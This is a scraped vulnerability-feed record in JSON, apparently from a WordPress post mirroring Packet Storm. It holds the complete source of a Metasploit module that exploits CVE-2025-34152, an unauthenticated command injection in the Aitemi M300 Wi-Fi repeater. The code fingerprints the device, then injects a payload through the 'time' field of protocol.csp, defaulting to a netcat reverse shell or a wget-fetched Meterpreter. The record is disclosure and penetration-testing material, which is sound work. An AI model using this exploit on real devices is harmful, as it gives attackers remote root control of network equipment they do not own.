{“lastseen”:”2025-09-10T16:12:55″,”description”:”This Metasploit module exploits an unauthenticated remote command injection…”,”published”:”2025-09-10T00:00:00″,”modified”:”2025-09-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:209361″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-34152″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n require ‘digest’\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = GoodRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)’,\\n ‘Description’ =\\u003e %q{\\n This module exploits an unauthenticated remote command injection vulnerability\\n in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability\\n lies in the ‘time’ parameter of the time configuration endpoint, which is passed\\n unsanitized to a shell command executed via the `date -s` mechanism. The injection\\n executes with root privileges, without requiring authentication, reboot, or\\n network reconfiguration.\\n },\\n ‘Author’ =\\u003e [\\n ‘Valentin Lobstein’ # Vulnerability discovery and Metasploit module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/chocapikk.com\/posts\/2025\/when-a-wifi-name-gives-you-root-part-two\/’],\\n [‘CVE’, ‘2025-34152’]\\n ],\\n ‘Platform’ =\\u003e %(linux unix),\\n ‘Arch’ =\\u003e [ARCH_CMD, ARCH_MIPSBE],\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e \\”\\\\x60\\”\\n },\\n ‘Targets’ =\\u003e [\\n [\\n ‘Unix Command’,\\n {\\n ‘Platform’ =\\u003e ‘unix’,\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘cmd\/unix\/reverse_netcat’\\n }\\n }\\n ],\\n [\\n ‘Linux Meterpreter MIPSBE (MAY crash HTTP worker)’,\\n {\\n ‘Platform’ =\\u003e ‘linux’,\\n ‘Arch’ =\\u003e [ARCH_CMD, ARCH_MIPSBE],\\n ‘DefaultOptions’ =\\u003e {\\n ‘FETCH_DELETE’ =\\u003e true,\\n ‘FETCH_COMMAND’ =\\u003e ‘WGET’,\\n ‘FETCH_WRITABLE_DIR’ =\\u003e ‘\/tmp’,\\n ‘PAYLOAD’ =\\u003e ‘cmd\/linux\/http\/mipsbe\/meterpreter\/reverse_tcp’\\n }\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Privileged’ =\\u003e true,\\n ‘DisclosureDate’ =\\u003e ‘2025-08-07’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SERVICE_DOWN],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n end\\n \\n def check\\n fingerprint_hits = []\\n \\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘favicon.ico’)\\n )\\n \\n return CheckCode::Unknown(‘No response from target’) unless res\\n return CheckCode::Safe(‘favicon.ico not found’) unless res.code == 200\\n \\n hash = Digest::SHA256.hexdigest(res.body)\\n if hash == ‘eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee’\\n print_good(‘Favicon hash matched \u2013 likely Aitemi M300 device’)\\n fingerprint_hits \\u003c\\u003c ‘favicon’\\n end\\n \\n server_header = res.headers[‘Server’]\\n if server_header\\u0026.start_with?(‘lighttpd\/1.4.32’)\\n print_good(\\”HTTP server version matched: #{server_header}\\”)\\n fingerprint_hits \\u003c\\u003c ‘httpd’\\n end\\n \\n %w[index.html home.html].each do |page|\\n res_html = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, page)\\n )\\n \\n next unless res_html\\u0026.code == 200\\n \\n if res_html.body.include?(‘langen.js’) \\u0026\\u0026 res_html.body.include?(‘dw(TT_SetWifiExt)’)\\n print_good(\\”HTML fingerprint matched in #{page} \u2013 UI strings detected\\”)\\n return CheckCode::Appears(‘HTML language markers confirmed’)\\n end\\n end\\n \\n if fingerprint_hits.any?\\n return CheckCode::Detected(\\”Partial match: #{fingerprint_hits.join(‘, ‘)}\\”)\\n end\\n \\n CheckCode::Unknown(‘No identifiable fingerprint found’)\\n end\\n \\n def exploit\\n raw_payload = \\”`#{payload.encoded}`\\”\\n encoded_payload = CGI.escape(raw_payload).gsub(‘+’, ‘%20’)\\n \\n send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘protocol.csp?’),\\n ‘ctype’ =\\u003e ‘application\/x-www-form-urlencoded; charset=UTF-8’,\\n ‘data’ =\\u003e \\”fname=system\\u0026opt=time_conf\\u0026function=set\\u0026time=#{encoded_payload}\\”\\n )\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/209361″,”cvss”:{“score”:9.4,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:A\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:H\/SI:H\/VA:H\/SA:H”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/209361\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-10T16:12:55″,”description”:”This Metasploit module exploits an unauthenticated remote command injection…”,”published”:”2025-09-10T00:00:00″,”modified”:”2025-09-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:209361″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-34152″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,131,12,13,53,7,11,5],"class_list":["post-17001","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-94","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n